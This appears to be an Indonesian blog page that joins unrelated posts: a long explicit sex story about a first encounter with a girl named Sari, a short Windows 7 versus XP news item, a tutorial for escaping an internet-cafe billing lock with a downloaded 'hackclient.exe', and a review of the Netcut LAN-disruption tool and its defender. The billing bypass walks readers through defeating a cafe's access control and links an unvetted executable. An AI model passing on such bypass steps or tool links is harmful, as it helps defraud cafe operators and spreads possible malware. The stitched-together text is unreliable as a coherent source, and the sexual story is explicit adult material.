Kami berdua nampaknya semakin semangat dan bergairah melanjutkan kegiatan kami tadi. Kini saya tidak canggung lagi setelah dua kali saya coba menyentuh Sari tapi tidak ada reaksi yang negatif terhadap saya. Begitu pula Sari kelihatannya sudah tidak terlalu minder dan malu lagi disentuh. Mungkin ia sudah mengerti arah aksi saya tadi dan ia menyenanginya, seperti perasaan saya. Kali ini, kami tidak hanya saling memandang, tapi juga saling memegang tangan. Kedua tangan saya berada di atas kedua tangan Sari dan Sari tidak memindahkan tangannya.

Setelah saya yakin bahwa tindakan saya itu disambut baik dan dinikmati pula oleh Sari, maka saya menarik tangan kanan saya, lalu mengalihkan ke bawah meja, lalu terus memegang paha Sari. Ia tidak menolak, lalu saya coba masukkan tangan saya di bawah sarung yang menutupi pahanya dan langsung menggerayangi pahanya yang mulus itu. Bahkan saya coba masukkan tangan saya dalam celana Sari, tapi agak sulit karena celana yang dikenakannya malam itu agak sempit dan tebal, sehingga terpaksa saya hanya menggerak-gerakkan tangan dekat pangkal pahanya. Tindakan saya ini berlangsung sekitar 10 menit.

Walaupun Sari hanya terdiam dan tidak banyak goyang saat saya elus-elus pahanya, tapi tampak dari nafasnya yang terengah-engah dan sikap diamnya, ternyata ia juga cukup menikmatinya. Karena birahi saya semakin sulit lagi terbendung, sementara Sari masih tetap diam tanpa berperan sedikit pun, maka saya mulai mencoba menarik celanaya yang sempit dan tebal itu ke bawah, tapi masih tidak bergeser sedikitpun. Mungkin kancingnya atau ikatannya terlalu kuat. Saya mencoba meraba dan melepas kancingnya, meskipun sangat sulit dan berkali-kali saya coba, tapi akhirnya terlepas juga.

Setelah saya tarik ke bawah dan membuka melalui lututnya maka saya renggangkan sedikit kedua pahanya agar saya lebih mudah meraba alat vital yang terletak di antara kedua pahanya tersebut. Pada saat meraba-raba dan memainkan kelentit dalam vaginanya, Sari masih tetap diam sambil meletakkan wajahnya di atas meja seolah memasrahkan diri terhadap tindakan saya tersebut. Saya semakin yakin, bahwa selain saya pasti Sari juga terangsang dan sangat menikmati permainan saya ini walaupun ia malu mengatakannya. Apalagi saya yakin jika baru kali ini ia diperlakukan dan diberi kenikmatan seperti itu, sebagaimana juga saya baru kali ini berani melakukan hal seperti itu pada seorang gadis.

Akhirnya kebisuan itu, tiba-tiba tersingkap ketika akhirnya terdengar"Aaah hhmm, ss, hh.".
Cuma itu suara yang tiba-tiba keluar dari mulut Sari ketika saya memasukkan telunjuk saya dalam kemaluannya, bahkan saya menggocok-gocoknya, semakin lama gocokan saya semakin cepat. Semakin lama vagina Sari semakin basah. Karena birahi saya semakin menguasai perasaan saya, dan demikian pula tentunya bagi Sari, maka secara bersamaan pantat saya dengan pantat Sari masing-masing kami dorong lebih jauh lagi ke depan, sehingga dagu kami masing-masing tersangkut di atas meja. Sementara paha kami saling menjepit satu sama lainnya di dalam sarung si Sari.

Sungguh tindakan ini suatu hal yang menyulitkan dan menyiksa kami. Kami tentunya masih diselingi rasa takut kalau-kalau ayah atau Ibu Sari terbangun dan melihat perbuatan kami, kami bisa-bisa diusir atau dipukul dan dipermalukan. Maklum di masyarakat desa seperti di desa kami, masih dianggap berpacaran sebagai perbuatan yang tabu dan tidak terpuji, apalagi jika berani melakukan tindakan seperti yang kami praktekkan itu. Perasaan takut bercampur birahi itulah yang selalu menyiksa kami.

Akhirnya kekuatan birahi itu tiba-tiba mengalahkan perasaan takut saya, sehingga tanpa peduli resiko yang mungkin akan menimpa kami dan tanpa ada rasa khawatir dilihat orang, saya tiba-tiba menarik sarung yang dipakai Sari hingga lepas, lalu menurunkan sedikit celana saya hingga ke lutut. Setelah itu saya menarik tangan Sari yang masih pegangan di meja dan membawanya ke penis saya.

Mula-mula tangan Sari agak gemetar dan pegangannya agak lemah, tapi setelah saya mencoba masuk di bawah meja sambil membungkuk (kebetulan tinggi mejanya sekitar 1 meter), lalu mencoba memasukkan tangan dalam baju kaos yang dikenakan Sari dan meremas-remas susunya, maka terasa pegangan tangannya pada penis saya semakin keras, bahkan kali ini ia mencoba menggerak-gerakkannya seiring dengan gerakan remasan tangan saya pada susunya. Semakin lama semakin keras dan cepat. Sayapun tidak berhenti sampai di situ, tapi saya juga mengelus-elus puting susunya dengan jari-jari tangan saya, sehingga sesekali terdengar nafas yang terputus-putus dari Sari.

Setelah saya puas mempermainkan puting susunya dengan tangan kanan saya dan mengocok-ngocok vaginanya dengan tangan kiri saya, apalagi terasa ada isyarat dari tangan Sari yang seolah menarik agak keras penis saya lebih dekat ke arahnya, maka saya melepaskan tangan kiri saya dari vaginanya sambil maju selangkah hingga pinggang saya persis berada di antara dua pahanya yang saya rasakan dari jepitan pahanya, lalu kedua tangan saya meremas-remas susunya yang sedikit kecil tapi keras, bahkan saya menyingkap sedikit baju dan BH-nya ke atas lalu saya jilati puting susunya yang agak kecil bulat.

Walaupun saya tidak dapat melihat dengan jelas warna isi vagina dan puting susu Sari saat itu karena lampu minyak yang kami gunakan ada di atas meja, tapi saya cukup merasakan betapa sempit dan mungil vagina Sari serta buah dada yang halus, putih dan keras serta putingnya yang kecil bulat. Hal ini terasa dari sulitnya jari telunjuk saya masuk lebih dalam, bahkan seolah terjepit ujungnya, padahal vaginanya sudah cukup membasahi pangkal pahanya yang tidak satupun bulu tumbuh di situ.

Setelah puas meremas, mencium dan menjilat-jilati susunya maka saya coba maju selangkah lagi, sehingga penis saya yang telah tegang sejak tadi terasa bersentuhan dengan kulit yang lembut, bahkan terasa menyentuh tonjolan daging yang lembut setelah saya agak bergeser sedikit. Pada saat yang bersamaan, Sari pula menggerakkan pinggulnya ke depan sehingga terasa seolah ujungnya tertancap pada suatu lubang yang membuat ujung penis saya tidak bisa bergeser lagi, dan sayapun rasanya tidak ingin menggerakkannya setelah mengetahui bahwa sudah tepat pada sasaran pokoknya.

"Aduuh, enaknya Dit, jangan dilepas dulu yeah.", Itulah suara bisikan yang saya dengan dari mulut Sari dari atas meja pada saat saya sedikit mendorong penis saya ke depan.
Ia pun nampaknya sangat penasaran menanti masuknya penis saya lebih dalam, sehingga dengan sangat lincahnya tiba-tiba meninggalkan tempat duduknya dan turun juga di bawah meja sambil memeluk keras punggung saya. Karena dorongan birahinya yang menjadi-jadi, maka Sari tiba-tiba mendorong saya dan melepaskan pelukannya, lalu tidur terlentang di atas selembar papan kecil yang melintang sebagai penyanggah keempat kaki meja itu, sambil menarik bajunya hingga ke lehir dan mengeluarkan kedua payudaranya dari BH yang dikenakannya

Melihat sikapnya yang demikian itu, maka saya cukup mengerti apa yang dikehendakinya. Nampaknya ia semakin tidak sabar lagi, sehingga ia langsung menarik tangan saya lebih dekat sebagai isyarat bahwa ia telah siap diserang memeknya setelah dari tadi basah dan menanti. Tentu saja tanpa berpikir panjang, saya langsung mengangkanginya dengan berlutut, sebab saya tidak melepaskan penuh celana saya, melainkan hanya sampai di pergelangan kaki, yeah, kalau ada apa-apa, kan bisa cepat dipasang dan lari. Untung malam itu kami tidak pernah kepergok oleh siapa-siapa hingga tuntasnya permainan.

"Hemm, aahh, hemm, aah, eenak sekali Dit", hanya itu suara yang mampu keluar dari mulut Sari secara berulang-ulang ketika saya secara pelan tapi pasti masukkan sedikit demi sedikit penis saya ke memek Sari.
Mulanya memang sulit dan nampaknya agak terasa sakit bagi Sari, tapi setelah saya coba berkali-kali tanpa terlalu memaksakan masuknya, akhirnya amBLas juga dan nampaknya bukan hanya menikmatinya, tapi Saripun kelihatannya dapat merasakan kenikmatan malam itu yang tiada taranya. Terbukti dengan semakin cepatnya gerakan pinggulnya ke atas dan ke bawah, ke kiri dan ke kanan mengikuti gerakan pinggul saya yang menggenjot vaginanya semakin lama semakin cepat serta semakin dalam

Hingga pada akhirnya, saya merasakan sekujur tubuh Sari agak mengejang dan gerakannya semakin dipercepat dan pelukannya terhadap saya semakin dipererat, bahkan sempat menggigit kecil bibir saya. Tanpa saya ketahui tanda-tanda itu, sayapun menyambut dengan gerakan yang sama dan juga menggigit balik bibirnya tapi tidak sampai melukainya, hingga pada akhirnya saya bagaikan lupa daratan, ternyata saya mengeluarkan sperma (muncrat) pada saat yang bersamaan di dalam vagi Sari. Karena merasa sudah meraih keuntungan belajar bersama malam itu dan tiba-tiba kembali rasa takut ketahuan, maka kami bergegas keluar dari dalam meja, lalu memperbaiki posisi kami seperti semula. Kami hanya mampu saling melempar senyum tanpa bisa berkata-kata, sebab kami sulit membahasakan apa yang telah kami nikmati barusan.

Sejak penis saya masuk dalam vagina Sari, kami hanya bermain dalam satu posisi karena kami terpokok dalam masalah tempat yang pas-pas dan suasana yang kurang aman Tapi walaupun satu gaya, kami cukup berhasil dan puas memanfaatkan kesempatan dalam kesempitan pada suasana tempat yang sangat perlu kehati-hatian melakukannya. Bahkan rasanya papan tempat Sari terlentang, cukup membantu permainan kami, sebab kedua paha Sari dapat terbuka lebar dengan mudah, lubang vaginanya dapat lebih menganga sedikit, bahkan membuat Sari lebih aktif bereaksi, sehingga kami dapat menyelesaikan permainan itu pada waktu jarum jam menunjukkan pukul 1. 00 malam tanpa terasa dan tanpa resiko, kecuali kenikmatan yang luar biasa yang dapat kami raih secara bersama-sama.

Itulah buahnya belajar bersama dengan seorang gadis di tempat yang sepi pada kesunyian malam. Pikiran itulah yang mewarnai perasaanku malam itu sebelum saya mohon diri dari rumah Sari untuk kembali ke rumah saya. Setelah sampai di rumah, saya langsung berbaring tapi tidak mudah tertidur, karena selalu dibayang-bayangi oleh suatu kenikmatan yang belum pernah saya alami seumur hidupku pada gadis yang menurut pengakuan Sari setelah sesaat selesainya permainan tadi, juga belum pernah mengalaminya. Karena itu, akan menjadi kenangan manis bagi kami selama hayat dikandung badan. Hingga akhirnya sayapun tertidur pulas sampai jam 9. 00 pagi.

Setelah ketemu kembali Sari di sumur pada waktu ia mencuci pakaiannya, ia sedikit berbisik pada saya bahwa ia mendapati sebercak darah pada papan penyangga meja yang kami pakai tadi malam. Tapi saya hanya tersenyum, sambil berkata dalam hati bahwa ternyata sayalah yang paling beruntung di dunia ini menggauli gadis perawan tanpa banyak hambatan. Mungkinkah saya bisa meraih kenikmatan seperti itu kembali selama hidupku? Hanya nasiblah yang dapat menjawabnya. Moga-moga saja.

*****

Perbandingan Windows 7 vs Windows XP Lebih Cepat ???

Windows 7 dikatakan mendukung komputer dengan spesifikasi rendah, termasuk untuk netbook. Tapi apakah Windows 7 akan lebih cepat dari XP yang masih banyak digunakan?.
Windows 7 vs Windows XP


 Windows Client Product Manager Business Marketing Organizations Microsoft Indonesia Lukman Susetio mengatakan tidak bisa dikatakan secara sederhana, Windows 7 akan lebih cepat dari XP.

Ia menjelaskan saat peralihan dari Windows XP ke Vista merupakan revolusi, karena Microsoft membuat benar-benar dari awal. Dan Vista merupakan OS Microsoft pertama yang menitik beratkan pada sekuriti.

Sementara Windows XP lebih menekankan pada user interface untuk mempermudah penggunanya. Dan pada saat itu sekuriti belum menjadi masalah besar seperti sekarang.

“Jadi Windows 7 sebenarnya menggunakan basis Vista, tapi dibuat lebih cepat agar bisa digunakan di low-spec system,” ujarnya.

Ia menambahkan orang menilai Windows 7 lebih ringan karena bisa berjalan di netbook. Tapi Microsoft memang berusaha agar Windows 7 secara umum, bisa bekerja di netbook dengan spesifikasi hardware rendah.

Tapi bukan berarti Microsoft melakukan peralihan. Lukamn mengatakan dulu konsumen lebih banyak membeli desktop. Tapi sekarang trendnya sudah mulai bergeser ke netbook.

“Di Amerika aja, netbook mendapatkan market share 15 % dari pangsa pasar PC. Padahal netbook tadinya difokuskan buat negara berkembang dengan program satu PC satu orang,” katanya.

Rabu, 06 Juli 2011

Hack Client Billing Explorer




Hallo semuanya, bosan dengan teknik-teknik hacking yang itu-itu dan banyak bertebaran di internet? Kali ini saya akan memberikan sedikit tutorial hacking yang ringan dan insyaallah bisa diterapkan semua orang :D . Untuk mempelajarinya tidak sulit kok, tidak memerlukan kemampuan khusus bahkan orang awam yang baru mampir ke warnet pun bisa melakukan hal ini.
Ya, mungkin Anda berfikir cara ini adalah cara bunuh diri untuk saya. Kok mau-maunya ya seorang operator warnet mengajarkan cara untuk mengakali warnetnya sendiri? Bukan tanpa alasan, saya melakukan ini karena saya sadar ilmu adalah pemberian dari Tuhan Yang maha Esa, dan dengan menyembunyikan ilmu itu berarti saya telah mengingkari nikmat dari Tuhan. Jadi semua orang di dunia ini berhak untuk mendapatkan ilmu.
Langsung saja, dalam kegiatan hacking Billing Explorer Client ini saya menggunakan bantuan dari program bernama hackclient.exe yang saya temukan dari forum HNc. Karena tutorial disana kurang lengkap maka sebagai tanda balas jasa atas ilmu yang telah saya peroleh maka saya membuat tutorial sederhana ini.


Di warnet masuk sebagai Personal dan siapkan modal program aplikasi hackclient.exe yang dapat diperoleh dari http://www.4shared.com/file/Xyw_iMyz/hackclient.html



Jika sudah didapat lalu jalankan aplikasinya. Maka akan muncul tampilan seperti berikut ini :



Perhatikan disana ada 2 program billing client, gag usah bingung gambar yang tampil di atas adalah billing client yang palsu, sedangkan yang asli ada di bagian paling kiri, yang tampilannya paling sederhana, dan yang pada awal tadi telah Anda lihat.
Ikuti petunjuk berurutan sesuai yang ada pada program billing client palsu. Jika beruntung maka Anda bisa keluar dari program billing client dan menikmati hampir semua fasilitas windows yang dikunci oleh billing client aslinya.


Perhatikan bahwa cara ini tidak akan mengurangi nilai nominal yang tertera di billing server (operator) yang harus Anda bayarkan. Ada baiknya tutorial ini digunakan untuk pembelajaran bukan untuk perbuatan jahat. Kasihan operator dan pemilik warnetnya, untuk mendapat 2000 perak pun terhalang dengan ulah pemakai aplikasi ini.
Silakan download toolsnya disini:


adi gunakan dengan bijak ya ;-D







Perang Jaringan: Netcut & Netcut Defender

Dunia cyber memang tak akan habis kalau terus menguak seluk-beluk tentang keamanan jaringan, mulai dari yang newbie sampai dengan advance
Saya kembali dari camping dengan membawa sedikit mainan kecil yang bisa dibilang cukup asyik untuk menemani kita berperang dalam jaringan kecil baik itu LAN atau Wireless LAN (WLAN). Yup, netcut sebuah aplikasi yang sudah sangat familiar di telinga para kaum pencuri bandwidth, pentester, hingga hacker ini telah mencapai versi 2.1.1. Namun tahukah Anda bahwa berbarengan dengan rilis netcut baru itu kini Arcai.com’s selaku vendor netcut telah merilis software sandingan untuk melawan netcut yang telah disalahgunakan untuk kejahatan, yaitu Netcut Defender yang saya bawa dengan versi 2.1.1
null
Prinsip kerjanya masih sama dengan checklist Protect My Computer di program netcut itu sendiri, bedanya tools ini lebih dibuat khusus untuk bertahan dari netcut (saya belum mencoba untuk network attack selain netcut). Aplikasi ini secara default akan berjalan saat startup di systemtray.
null
Untuk Anda yang suka berperang jaringan dengan netcut dan tidak sedang menghidupkan firewall baik di komputer Anda maupun di network, tools ini pantas untuk dicoba karena memang dari pihak Arcai.com’s sendiri sedang membutuhkan bantuan Anda untuk mengujinya
Saya? Saya sudah mendapati beberapa kekurangan ketika bereksperimen dengan ini adalah :
1. Tulisan Protected by Netcut Defender bukan berasal dari Netcut Defender melainkan dari Netcut itu sendiri. Intinya Netcut 2.1.1 ini belum bisa mengenali Netcut Defender 2.1.1 dengan baik.
null
null
2. Bila window diclose maka program bukan akan tertutup melainkan dikecilkan menuju syatemtray, dengan kata lain action untuk close dan minimize menjadi sama yang seharusnya berbeda
3. Netcut dan Netcut Defender masih memaksa untuk run saat startup biarpun opsi untuk startup telah dihilangkan
Dengain ini bug-bug tersebut telah saya submit ke pihak netcut untuk diperbaiki
Untuk saat ini saya belum merekomendasikan Anda untuk memakai tools Netcut Defender mengingat masih banyaknya bug yang ada, lebih baik bila Anda mempercayakan kepada ahli firewall yang lebih baik seperti Comodo Firewall
Download Netcut dan Netcut Defender di sini
Akhir dari artikel ini semoga bisa bermanfaat bagi kita semua, CMIIW

Original Link : Netcut-2-1-1-dan-netcut-defender-2-1-1-senjata-sederhana-nan-asyik-untuk-perang-jaringan


Extended Network Banners
Online Now Icons
Twitter Delicious Facebook Digg Stumbleupon Favorites More

 
Powered by Blogger